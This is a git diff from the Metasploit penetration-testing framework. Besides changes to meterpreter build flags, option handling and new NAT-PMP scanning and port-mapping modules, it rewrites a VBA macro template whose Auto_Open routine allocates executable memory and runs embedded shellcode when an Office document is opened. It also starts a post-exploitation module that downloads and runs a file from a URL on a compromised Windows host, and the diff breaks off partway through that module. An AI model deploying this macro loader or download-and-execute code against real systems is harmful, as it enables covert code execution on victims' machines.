diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index 6ed061bac6..ff48bba993 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index a2130a5432..a40f2e327f 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index e5e7fa4a86..eaf6c5608e 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index 4e0a0554ea..59b7b685b3 100755 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/external/source/meterpreter/source/bionic/libdl/Makefile b/external/source/meterpreter/source/bionic/libdl/Makefile index cf53222564..8a84177986 100644 --- a/external/source/meterpreter/source/bionic/libdl/Makefile +++ b/external/source/meterpreter/source/bionic/libdl/Makefile @@ -3,6 +3,7 @@ CFLAGS+= -I../libc/include -I../libc/private -I../libc/bionic -I../libc/kernel/a CFLAGS+= -I../libc/kernel/common/linux/ -I../libc/arch-x86/include/ -I../libc/kernel/common/ CFLAGS+= -Os +CFLAGS+= -march=i386 all: gcc -Wl,--hash-style=sysv -shared -o libdl.so $(CFLAGS) libdl.c diff --git a/external/source/meterpreter/source/server/rtld/Makefile b/external/source/meterpreter/source/server/rtld/Makefile index f565a183d8..db60c93f00 100644 --- a/external/source/meterpreter/source/server/rtld/Makefile +++ b/external/source/meterpreter/source/server/rtld/Makefile @@ -6,6 +6,8 @@ CFLAGS+= -nostdinc -nostdlib -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -D CFLAGS+= -ggdb CFLAGS+= -DMETSRV_RTLD -D_BYTE_ORDER=_LITTLE_ENDIAN +CFLAGS+= -march=i386 + OBJ=msflinker.o basic_libc.o syscall.o linker_format.o dlfcn.o zlib.o metsrv_rtld.o all: msflinker msflinker.bin rtldtest diff --git a/external/source/meterpreter/workspace/Makefile b/external/source/meterpreter/workspace/Makefile index 1af7da4073..a90403005f 100644 --- a/external/source/meterpreter/workspace/Makefile +++ b/external/source/meterpreter/workspace/Makefile @@ -1,5 +1,7 @@ SUBDIRS = common metsrv ext_server_stdapi ext_server_sniffer ext_server_networkpug +CFLAGS+= -march=i386 + subdirs: for dir in $(SUBDIRS); do \ $(MAKE) -C $$dir; \ diff --git a/external/source/meterpreter/workspace/common/Makefile b/external/source/meterpreter/workspace/common/Makefile index addba360ea..dc378f3eee 100644 --- a/external/source/meterpreter/workspace/common/Makefile +++ b/external/source/meterpreter/workspace/common/Makefile @@ -18,6 +18,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled CFLAGS+= -D_UNIX -I$(SOURCEPATH) -I$(MALLOC_PATH) -I$(XOR_PATH) -DMALLOC_PRODUCTION -DPIC -I$(SSLPATH) -I$(STDLIBPATH) -I$(ZLIB_PATH) CFLAGS+= -g -fPIC -Os -D_POSIX_C_SOURCE=200809 -D__BSD_VISIBLE=1 -D__XSI_VISIBLE=1 +CFLAGS+= -march=i386 + CC=gcc AR=ar diff --git a/external/source/meterpreter/workspace/ext_posix_sample/Makefile b/external/source/meterpreter/workspace/ext_posix_sample/Makefile index 1b3cf247b4..d35d93d1ac 100644 --- a/external/source/meterpreter/workspace/ext_posix_sample/Makefile +++ b/external/source/meterpreter/workspace/ext_posix_sample/Makefile @@ -15,6 +15,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+ CFLAGS+= -fPIC -Os CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport +CFLAGS+= -march=i386 + objects = test.o all: posix_sample.so diff --git a/external/source/meterpreter/workspace/ext_server_networkpug/Makefile b/external/source/meterpreter/workspace/ext_server_networkpug/Makefile index c0f832db83..98be99affe 100644 --- a/external/source/meterpreter/workspace/ext_server_networkpug/Makefile +++ b/external/source/meterpreter/workspace/ext_server_networkpug/Makefile @@ -16,6 +16,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+ CFLAGS+= -fPIC -Os CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main +CFLAGS+= -march=i386 + #LDFLAGS= -fPIC -Bshareable -lc ifeq ($(OSNAME), FreeBSD) diff --git a/external/source/meterpreter/workspace/ext_server_sniffer/Makefile b/external/source/meterpreter/workspace/ext_server_sniffer/Makefile index 1ef469e0b2..36d21676af 100644 --- a/external/source/meterpreter/workspace/ext_server_sniffer/Makefile +++ b/external/source/meterpreter/workspace/ext_server_sniffer/Makefile @@ -17,13 +17,15 @@ CFLAGS+= -fPIC -Os CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main CFLAGS+= -I. +CFLAGS+= -march=i386 + objects = sniffer.o all: ext_server_sniffer.so ext_server_sniffer.so: $(objects) - $(CC) -shared $(CFLAGS) $(objects) -lpcap -o $@ + $(CC) -Wl,--hash-style=sysv -shared $(CFLAGS) $(objects) -lpcap -lssl -o $@ .PHONY: clean clean: diff --git a/external/source/meterpreter/workspace/ext_server_stdapi/Makefile b/external/source/meterpreter/workspace/ext_server_stdapi/Makefile index 276d8aa195..b8311ca2c8 100644 --- a/external/source/meterpreter/workspace/ext_server_stdapi/Makefile +++ b/external/source/meterpreter/workspace/ext_server_stdapi/Makefile @@ -15,6 +15,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+ CFLAGS+= -fPIC -Os CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport -lmetsrv_main -lpcap +CFLAGS+= -march=i386 + #LDFLAGS= -fPIC -Bshareable -lc ifeq ($(OSNAME), FreeBSD) diff --git a/external/source/meterpreter/workspace/metsrv/Makefile b/external/source/meterpreter/workspace/metsrv/Makefile index 8e43e87659..44196eb200 100644 --- a/external/source/meterpreter/workspace/metsrv/Makefile +++ b/external/source/meterpreter/workspace/metsrv/Makefile @@ -13,6 +13,8 @@ CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t" CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+ +CFLAGS+= -march=i386 + OS=posix OSVPATH=../../source/common/arch/$(OS):../../source/server/linux/ ARCHVPATH=$(OSVPATH)/$(RARCH):$(ELFARCHPATH) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index ef7aeb71f9..402a553bfa 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -312,9 +312,9 @@ class ReadableText next if (opt.advanced?) next if (opt.evasion?) - val = mod.datastore[name] || opt.default.to_s + val_display = opt.display_value(mod.datastore[name] || opt.default) - tbl << [ name, val.to_s, opt.required? ? "yes" : "no", opt.desc ] + tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ] } return tbl.to_s diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index a56a02c129..99d0aaab3e 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -81,6 +81,13 @@ class OptBase value end + # + # Returns a string representing a user-friendly display of the chosen value + # + def display_value(value) + value.to_s + end + # # The name of the option. # @@ -137,6 +144,7 @@ end # OptEnum - Select from a set of valid values # OptAddressRange - A subnet or range of addresses # OptSession - A session identifier +# OptRegexp - Valid Ruby regular expression # ### @@ -440,6 +448,44 @@ class OptInt < OptBase end end +### +# +# Regexp option +# +### +class OptRegexp < OptBase + def type + return 'regexp' + end + + def valid?(value) + unless super + return false + end + + begin + Regexp.compile(value) + + return true + rescue RegexpError => e + return false + end + end + + def normalize(value) + return Regexp.compile(value) + end + + def display_value(value) + if value.kind_of?(Regexp) + return value.source + elsif value.kind_of?(String) + return display_value(normalize(value)) + end + + return super + end +end ### # diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb old mode 100644 new mode 100755 index 2a63c537d6..32f62d76c0 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -837,12 +837,23 @@ require 'digest/sha1' bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0) end - "Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long + "#If Vba7 Then +Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr +Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr +Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr +#Else +Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long +#EndIf Sub Auto_Open() - Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_rwxpage} As Long, #{var_res} As Long, #{var_offset} As Long + Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long +#If Vba7 Then + Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr +#Else + Dim #{var_rwxpage} As Long, #{var_res} As Long +#EndIf #{var_myArray} = Array(#{bytes}) #{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40) For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray}) diff --git a/lib/rex/proto/natpmp.rb b/lib/rex/proto/natpmp.rb new file mode 100644 index 0000000000..4e668cedfb --- /dev/null +++ b/lib/rex/proto/natpmp.rb @@ -0,0 +1,10 @@ +## +# +# NAT-PMP protocol support +# +# by Jon Hart +# +## + +require 'rex/proto/natpmp/constants' +require 'rex/proto/natpmp/packet' diff --git a/lib/rex/proto/natpmp/constants.rb b/lib/rex/proto/natpmp/constants.rb new file mode 100644 index 0000000000..19e0aa2ccc --- /dev/null +++ b/lib/rex/proto/natpmp/constants.rb @@ -0,0 +1,18 @@ +## +# +# NAT-PMP constants +# +# by Jon Hart +# +## + +module Rex +module Proto +module NATPMP + DefaultPort = 5351 + Version = 0 + TCP = 2 + UDP = 1 +end +end +end diff --git a/lib/rex/proto/natpmp/packet.rb b/lib/rex/proto/natpmp/packet.rb new file mode 100644 index 0000000000..ef91dccbfe --- /dev/null +++ b/lib/rex/proto/natpmp/packet.rb @@ -0,0 +1,44 @@ +## +# +# NAT-PMP protocol support +# +# by Jon Hart +# +## + +module Rex +module Proto +module NATPMP + + # Return a NAT-PMP request to get the external address. + def self.external_address_request + [ 0, 0 ].pack('nn') + end + + # Parse a NAT-PMP external address response +resp+. + # Returns the decoded parts of the response as an array. + def self.parse_external_address_response(resp) + (ver, op, result, epoch, addr) = resp.unpack("CCSLN") + [ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ] + end + + # Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms + def self.map_port_request(lport, rport, protocol, lifetime) + [ Rex::Proto::NATPMP::Version, # version + protocol, # opcode, which is now the protocol we are asking to forward + 0, # reserved + lport, + rport, + lifetime + ].pack("ccnnnN") + end + + # Parse a NAT-PMP mapping response +resp+. + # Returns the decoded parts as an array. + def self.parse_map_port_response(resp) + resp.unpack("CCSLnnN") + end +end + +end +end diff --git a/lib/rex/proto/tftp/client.rb b/lib/rex/proto/tftp/client.rb index 82ae2641de..f01c477163 100644 --- a/lib/rex/proto/tftp/client.rb +++ b/lib/rex/proto/tftp/client.rb @@ -52,7 +52,7 @@ class Client self.local_port = params["LocalPort"] || (1025 + rand(0xffff-1025)) self.peer_host = params["PeerHost"] || (raise ArgumentError, "Need a peer host.") self.peer_port = params["PeerPort"] || 69 - self.context = params["Context"] || {} + self.context = params["Context"] || {'Msf' => framework, 'MsfExploit' => self} self.local_file = params["LocalFile"] self.remote_file = params["RemoteFile"] || (::File.split(self.local_file).last if self.local_file) self.mode = params["Mode"] || "octet" diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb new file mode 100644 index 0000000000..e8a0c0a738 --- /dev/null +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -0,0 +1,106 @@ +require 'msf/core' +require 'rex/proto/natpmp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'NAT-PMP port mapper', + 'Description' => 'Map (forward) TCP and UDP ports on NAT devices using NAT-PMP', + 'Author' => 'jhart@spoofed.org', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::LPORT, + Opt::RPORT, + OptInt.new('NATPMPPORT', [true, "NAT-PMP port to use", Rex::Proto::NATPMP::DefaultPort]), + OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]), + OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]), + Opt::CHOST + ], + self.class + ) + end + + def run_host(host) + begin + + udp_sock = Rex::Socket::Udp.create( + { 'LocalHost' => datastore['CHOST'] || nil, + 'Context' => {'Msf' => framework, 'MsfExploit' => self} + }) + add_socket(udp_sock) + + # get the external address first + print_status "#{host} - NATPMP - Probing for external address" if (datastore['VERBOSE']) + req = Rex::Proto::NATPMP.external_address_request + udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0) + external_address = nil + while (r = udp_sock.recvfrom(12, 1) and r[1]) + (ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) + end + + print_status "#{host} - NATPMP - Sending mapping request" if (datastore['VERBOSE']) + # build the mapping request + req = Rex::Proto::NATPMP.map_port_request( + datastore['LPORT'].to_i, datastore['RPORT'].to_i, + Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME'] + ) + # send it + udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0) + # handle the reply + while (r = udp_sock.recvfrom(16, 1) and r[1]) + handle_reply(Rex::Socket.source_address(host), host, external_address, r) + end + rescue ::Interrupt + raise $! + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused + nil + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e.backtrace}") + end + end + + def handle_reply(map_target, host, external_address, pkt) + return if not pkt[1] + + if(pkt[1] =~ /^::ffff:/) + pkt[1] = pkt[1].sub(/^::ffff:/, '') + end + + (ver, op, result, epoch, internal_port, external_port, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) + + if (result == 0) + if (datastore['RPORT'].to_i != external_port) + print_status( "#{external_address} " + + "#{datastore['RPORT']}/#{datastore['PROTOCOL']} -> #{map_target} " + + "#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded") + end + print_status( "#{external_address} " + + "#{external_port}/#{datastore['PROTOCOL']} -> #{map_target} " + + "#{internal_port}/#{datastore['PROTOCOL']} forwarded") + end + + # report NAT-PMP as being open + report_service( + :host => host, + :port => pkt[2], + :proto => 'udp', + :name => 'natpmp', + :state => Msf::ServiceState::Open + ) + + # report the external port as being open + report_service( + :host => external_address, + :port => external_port, + :proto => datastore['PROTOCOL'].to_s.downcase, + :state => Msf::ServiceState::Open + ) + end +end diff --git a/modules/auxiliary/dos/scada/igss9_dataserver.rb b/modules/auxiliary/dos/scada/igss9_dataserver.rb index deb3189b37..18cc35846a 100644 --- a/modules/auxiliary/dos/scada/igss9_dataserver.rb +++ b/modules/auxiliary/dos/scada/igss9_dataserver.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS', 'Description' => %q{ - The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be + The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be brought down by sending a crafted TCP packet to port 12401. This should also work for version <= 9.0.0.1120, but that version hasn't been tested. }, diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb index 4739a8e7c0..c4be372da8 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_name.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Auxiliary { 'uri' => uri, 'method' => 'GET', - 'vars_get' => + 'vars_get' => { 'company_name' => datastore['COMPANY_NAME'], 'limit' => datastore['LIMIT'], @@ -132,8 +132,8 @@ class Metasploit3 < Msf::Auxiliary end def grab_text(e, name) - (e.get_elements(name) && e.get_elements(name)[0] && - e.get_elements(name)[0].get_text ) ? + (e.get_elements(name) && e.get_elements(name)[0] && + e.get_elements(name)[0].get_text ) ? e.get_elements(name)[0].get_text.to_s : "" end diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index 4ddeec8e98..94722389cd 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'K. Reid Wightman ' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $', - 'DisclosureDate' => 'Jan 19 2012', + 'DisclosureDate' => 'Jan 19 2012' )) register_options( @@ -197,11 +197,11 @@ class Metasploit3 < Msf::Auxiliary f.seek(userentryptr + 40) # sorry decimal entrylen = makeword(f.read(2)) # sorry this is decimal logins = Rex::Ui::Text::Table.new( - 'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)", - 'Indent' => 1, - 'Columns' => ["Type", "User Name", "Password"]) - range = Range.new(0, numentries - 1) - range.each do |i| + 'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)", + 'Indent' => 1, + 'Columns' => ["Type", "User Name", "Password"]) + + 0.upto(numentries -1).each do |i| f.seek(dstart + headerlen + i * entrylen) accounttype = makeword(f.read(2)) f.seek(dstart + headerlen + i * entrylen + 2) @@ -241,7 +241,7 @@ class Metasploit3 < Msf::Auxiliary def parse(fh) print_status("Parsing file") - f = File.open(fh, 'rb') + f = File.open(fh.path, 'rb') used = f.read(4) if used != "USED" print_error "Invalid Configuration File!" diff --git a/modules/auxiliary/gather/natpmp_external_address.rb b/modules/auxiliary/gather/natpmp_external_address.rb new file mode 100644 index 0000000000..c71a41ec81 --- /dev/null +++ b/modules/auxiliary/gather/natpmp_external_address.rb @@ -0,0 +1,82 @@ +require 'msf/core' +require 'rex/proto/natpmp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'NAT-PMP External address scanner', + 'Description' => 'Scan NAT devices for their external address using NAT-PMP', + 'Author' => 'jhart@spoofed.org', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), + Opt::CHOST + ], + self.class + ) + end + + def run_host(host) + begin + udp_sock = Rex::Socket::Udp.create( + { 'LocalHost' => datastore['CHOST'] || nil, + 'Context' => {'Msf' => framework, 'MsfExploit' => self} + }) + add_socket(udp_sock) + print_status "#{host}:#{datastore['RPORT']} - NATPMP - Probing for external address" if (datastore['VERBOSE']) + + udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) + while (r = udp_sock.recvfrom(12, 0.25) and r[1]) + handle_reply(host, r) + end + rescue ::Interrupt + raise $! + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused + nil + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + end + end + + def handle_reply(host, pkt) + return if not pkt[1] + + if(pkt[1] =~ /^::ffff:/) + pkt[1] = pkt[1].sub(/^::ffff:/, '') + end + + (ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(pkt[0]) + + if (result == 0) + print_status("#{host} -- external address #{external_address}") + end + + # report the host we scanned as alive + report_host( + :host => host, + :state => Msf::HostState::Alive + ) + + # also report its external address as alive + report_host( + :host => external_address, + :state => Msf::HostState::Alive + ) + + # report NAT-PMP as being open + report_service( + :host => host, + :port => pkt[2], + :proto => 'udp', + :name => 'natpmp', + :state => Msf::ServiceState::Open + ) + end +end diff --git a/modules/auxiliary/scanner/http/httpbl_lookup.rb b/modules/auxiliary/scanner/http/httpbl_lookup.rb index 5342aaf2ce..e2abb1e871 100644 --- a/modules/auxiliary/scanner/http/httpbl_lookup.rb +++ b/modules/auxiliary/scanner/http/httpbl_lookup.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary def support_ipv6? false end - + def resolve(ip) results = '' apikey = datastore['HTTPBL_APIKEY'] diff --git a/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb new file mode 100644 index 0000000000..eb2ba4ad8e --- /dev/null +++ b/modules/auxiliary/scanner/natpmp/natpmp_portscan.rb @@ -0,0 +1,116 @@ +## + +require 'msf/core' +require 'rex/proto/natpmp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'NAT-PMP External port scanner', + 'Description' => 'Scan NAT devices for their external listening ports using NAT-PMP', + 'Author' => 'jhart@spoofed.org', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), + OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]), + OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]), + Opt::CHOST + ], self.class) + end + + def run_host(host) + begin + udp_sock = Rex::Socket::Udp.create( + { 'LocalHost' => datastore['CHOST'] || nil, + 'Context' => {'Msf' => framework, 'MsfExploit' => self} } + ) + add_socket(udp_sock) + print_status "Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} on #{host} using NATPMP" if (datastore['VERBOSE']) + + # first, send a request to get the external address + udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) + external_address = nil + while (r = udp_sock.recvfrom(12, 0.25) and r[1]) + (ver,op,result,epoch,external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) + end + + if (external_address) + print_good("External address of #{host} is #{external_address}") + else + print_error("Didn't get a response for #{host}'s external address") + return + end + + Rex::Socket.portspec_crack(datastore['PORTS']).each do |port| + # send one request to clear the mapping if *we've* created it before + clear_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0) + udp_sock.sendto(clear_req, host, datastore['RPORT'].to_i, 0) + while (r = udp_sock.recvfrom(16, 0.25) and r[1]) + end + + # now try the real mapping + map_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1) + udp_sock.sendto(map_req, host, datastore['RPORT'].to_i, 0) + while (r = udp_sock.recvfrom(16, 0.25) and r[1]) + handle_reply(host, external_address, r) + end + end + + rescue ::Interrupt + raise $! + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused + nil + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e.backtrace}") + end + end + + def handle_reply(host, external_addr, pkt) + return if not pkt[1] + + if(pkt[1] =~ /^::ffff:/) + pkt[1] = pkt[1].sub(/^::ffff:/, '') + end + host = pkt[1] + protocol = datastore['PROTOCOL'].to_s.downcase + + (ver, op, result, epoch, int, ext, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) + if (result == 0) + # we always ask to map an external port to the same port on us. If + # we get a successful reponse back but the port we requested be forwarded + # is different, that means that someone else already has it open + if (int != ext) + state = Msf::ServiceState::Open + print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports") + else + state = Msf::ServiceState::Closed + print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG']) + end + else + state = Msf::ServiceState::Closed + print_status("#{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG']) + end + + report_service( + :host => external_addr, + :port => int, + :proto => protocol, + :state => state + ) + + report_service( + :host => host, + :port => pkt[2], + :name => 'natpmp', + :proto => 'udp', + :state => Msf::ServiceState::Open + ) + end +end diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index 8ab1b1af75..f45d01c1bd 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary 'Version' => '$Revision$', 'Description' => %q{ This module will test vmauthd logins on a range of machines and - report successful logins. + report successful logins. }, 'Author' => ['TheLightCosine '], 'References' => diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb index a428c2bbb2..352e9faf77 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") cmd = "C:\\windows\\system32\\attrib.exe -r " + - "C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof" + "C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof" client.sys.process.execute(cmd, nil, {'Hidden' => true }) diff --git a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb index 8ebc891e82..0fad6161bd 100644 --- a/modules/exploits/windows/fileformat/adobe_reader_u3d.rb +++ b/modules/exploits/windows/fileformat/adobe_reader_u3d.rb @@ -321,7 +321,7 @@ class Metasploit3 < Msf::Exploit::Remote return xml end - def u3d_pad(str, char="\x00") + def u3d_pad(str, char="\x00") len = str.length % 4 if (len > 0) #puts "Adding %d pad bytes" % (4 - len) @@ -385,7 +385,7 @@ class Metasploit3 < Msf::Exploit::Remote 3, # Bone Index (no Quantized Weight) # 2 0x55550000, # Bone Weight Count - 0x4c1df36e, # Bone Index + 0x4c1df36e, # Bone Index 0x0200d002, # Quantized Weight # 3 0x95000074, # Bone Weight Count @@ -397,7 +397,7 @@ class Metasploit3 < Msf::Exploit::Remote #bone_weight = [0xffffff44,bone_weight_data.length,0].pack('VVV') bone_weight << bone_weight_data - new_objtype1_data = + new_objtype1_data = "\x05\x00\x52\x52\x52\x52\x52\x01\x00\x00\x00\xa6\x04\xa8\x96\xb9\x3f\xc5\x43\xb2\xdf\x2a"+ "\x31\xb5\x56\x93\x40\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x52\x52\x52\x52\x52\x01\x00"+ "\x00\x00\x01\x00\x2e\x01\x00\x76\x00\x00\x00\x00" @@ -651,4 +651,4 @@ class Metasploit3 < Msf::Exploit::Remote pdf << "%%EOF" << eol end -end \ No newline at end of file +end diff --git a/modules/post/windows/manage/download_exec.rb b/modules/post/windows/manage/download_exec.rb new file mode 100644 index 0000000000..ee98b2aa5e --- /dev/null +++ b/modules/post/windows/manage/download_exec.rb @@ -0,0 +1,139 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/file' +require 'msf/core/post/common' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Manage Download and/or Execute", + 'Description' => %q{ + This module will download a file by importing urlmon via railgun. + The user may also choose to execute the file with arguments via exec_string. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['RageLtMan'] + )) + + register_options( + [ + OptString.new('URL', [true, 'Full URL of file to download' ]), + OptString.new('DOWNLOAD_PATH', [false, 'Full path for downloaded file' ]), + OptString.new('FILENAME', [false, 'Name for downloaded file' ]), + OptBool.new( 'OUTPUT', [true, 'Show execution output', true ]), + OptBool.new( 'EXECUTE', [true, 'Execute file after completion', false ]), + ], self.class) + + 